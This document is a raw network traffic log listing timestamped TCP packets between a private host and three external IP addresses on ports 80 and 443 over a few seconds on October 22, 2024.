Oct 22, 2024 16:12:00.001194954 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.001252890 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.001272917 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.001353979 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.021541119 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:00.026900053 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:00.026966095 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:00.027342081 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:00.033148050 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:00.044452906 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.044550896 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.102828979 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.102933884 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.103001118 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.103065968 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.103631973 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.103688955 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.103745937 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.103800058 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.109154940 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.109219074 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.109256983 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.109321117 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.117980003 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.118050098 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.118099928 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.118169069 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.118194103 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.118249893 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.118288994 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.118345022 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.118571997 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.118628025 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.118834019 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.118900061 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.207525969 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.207587004 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.219408035 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.219461918 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.219476938 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.219527960 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.219532967 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.219568968 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.219882011 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.219928026 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.219943047 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.219984055 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.225862026 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.225938082 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.225945950 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.225987911 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.234913111 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.234957933 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.234966993 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.235018969 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.235064983 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.235100985 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.235106945 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.235143900 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.235625029 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.235668898 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.235673904 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.235707045 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.235712051 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.235754013 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360316992 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.360390902 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360470057 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.360517979 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360563993 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.360729933 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.360738039 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360763073 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.360805035 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360836029 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360857964 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.360913992 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.360953093 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361007929 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.361062050 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361114979 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.361149073 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361206055 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.361464024 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361516953 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.361557007 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361612082 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.361650944 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361701965 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.361741066 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.361792088 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.362330914 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.362385988 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.363092899 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.363152981 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.396542072 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.396653891 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.477010012 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.477075100 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.477078915 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.477094889 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.477121115 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.477155924 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.477314949 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.477363110 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.477372885 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.477416992 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.477421999 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.477459908 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478044033 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478092909 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478096008 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478107929 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478149891 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478153944 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478212118 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478745937 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478796959 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478802919 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478846073 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478857994 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478909016 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.478912115 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.478959084 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.556930065 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.556991100 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594296932 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594357014 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594527960 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594571114 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594582081 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594623089 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594628096 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594670057 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594671965 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594688892 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594705105 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594731092 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594734907 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594770908 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594774961 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594810963 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594814062 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594830036 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594846010 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594866991 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.594871044 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.594904900 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.595474958 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.595525026 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.595537901 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.595576048 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.595649004 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.595693111 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.595698118 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.595737934 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.595741987 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.595781088 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.711559057 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.711618900 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.711724997 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.711771011 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.711817026 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.711862087 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.711905956 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.711947918 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712004900 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712047100 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712114096 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712152958 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712213039 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712253094 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712311983 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712352037 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712399006 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712443113 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712496042 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712534904 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712605000 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712647915 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712693930 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712735891 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712793112 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712836981 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712878942 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.712919950 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.712964058 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.713012934 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.713059902 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.713118076 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.713146925 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.713186026 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.713232994 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.713278055 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.828561068 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.828744888 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.828840971 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.828843117 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.828874111 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.828907013 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.828975916 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.828989029 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829052925 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.829057932 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829098940 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.829109907 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829288960 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829320908 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.829327106 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829552889 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829587936 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.829592943 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829701900 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829730034 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.829735994 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829854012 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.829885006 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.829889059 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.830152035 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.830199957 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.830317020 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.871546984 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.871721983 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.871743917 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.872421980 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.876904011 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:00.880763054 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:00.886240005 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:00.945624113 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.945786953 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.945882082 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.945888996 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.945921898 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.945955038 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946026087 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946033955 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946122885 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946152925 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946158886 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946182013 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946234941 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946239948 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946307898 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946312904 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946388006 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946393013 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946652889 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946683884 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946691036 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.946758032 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.946763039 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947026014 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947120905 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947151899 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947158098 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947196960 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947263002 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947298050 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947302103 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947341919 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947432041 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947436094 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947500944 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947560072 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947622061 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:00.947628021 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.947923899 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.958947897 CEST	49989	443	192.168.2.6	142.250.185.65
Oct 22, 2024 16:12:00.958972931 CEST	443	49989	142.250.185.65	192.168.2.6
Oct 22, 2024 16:12:01.130698919 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:01.180934906 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:03.258141041 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:03.263659954 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:03.263741016 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:03.264094114 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:03.269732952 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:03.634610891 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:03.634706020 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:03.634800911 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:03.643184900 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:03.643225908 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.101454973 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:04.104168892 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:04.110790014 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:04.265017033 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.265103102 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.268543959 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.268553972 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.268975019 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.272279978 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.319327116 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.358023882 CEST	80	49991	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:04.416515112 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.416743994 CEST	443	49992	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.416878939 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.421454906 CEST	49992	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.430615902 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:04.437186956 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:04.537982941 CEST	49991	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:04.684355021 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:04.686670065 CEST	49993	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.686717033 CEST	443	49993	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.687047958 CEST	49993	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.687047958 CEST	49993	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.687086105 CEST	443	49993	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.725699902 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:04.850974083 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.851010084 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:04.851181984 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.853161097 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:04.853172064 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.300440073 CEST	443	49993	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.302887917 CEST	49993	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.302937984 CEST	443	49993	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.444885015 CEST	443	49993	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.444968939 CEST	443	49993	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.446901083 CEST	49993	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.450777054 CEST	49993	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.484561920 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.484687090 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.494785070 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.494812965 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.495867968 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.505033970 CEST	49994	443	192.168.2.6	188.114.97.3
Oct 22, 2024 16:12:05.547352076 CEST	443	49994	188.114.97.3	192.168.2.6
Oct 22, 2024 16:12:05.571572065 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:05.574790955 CEST	49995	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:05.577647924 CEST	80	49990	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:05.577914953 CEST	49990	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:05.580213070 CEST	80	49995	193.122.6.168	192.168.2.6
Oct 22, 2024 16:12:05.582865000 CEST	49995	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:05.590776920 CEST	49995	80	192.168.2.6	193.122.6.168
Oct 22, 2024 16:12:05.596412897 CEST	80	49995	193.122.6.168	192.168.2.6
